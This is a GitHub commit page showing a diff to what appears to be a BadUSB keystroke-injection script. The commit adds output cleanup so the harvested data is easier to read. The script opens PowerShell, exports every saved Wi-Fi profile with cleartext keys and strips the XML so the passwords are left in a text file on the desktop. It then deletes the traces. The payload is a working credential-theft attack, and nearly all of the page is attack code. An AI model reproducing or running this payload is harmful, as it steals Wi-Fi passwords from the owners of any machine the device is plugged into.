Clean up output

This script currently has the HTML tag <keyMaterial> affixed to either side of the scraped password, as well as some file path data surrounding the network SSIDs. This modification to the script cleans these conditions up.
This commit is contained in:
John McKee 2022-08-26 17:19:16 -04:00 committed by GitHub
parent 6d5f5a94e8
commit 1e5981b167
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -9,5 +9,5 @@ DELAY 500
STRING powershell
ENTER
DELAY 500
STRING cd C:\Users\$env:UserName\Desktop;netsh wlan export profile key=clear;Select-String -Path WiFi-* -Pattern 'keyMaterial'>0.txt;del WiFi-*;exit
STRING cd C:\Users\$env:UserName\Desktop; netsh wlan export profile key=clear; Select-String -Path WiFi-* -Pattern 'keyMaterial' | % { $_ -replace '</?keyMaterial>', ''} | % {$_ -replace "C:\\Users\\$env:UserName\\Desktop\\", ''} | % {$_ -replace '.xml:22:', ''} > 0.txt; del WiFi-*;exit
ENTER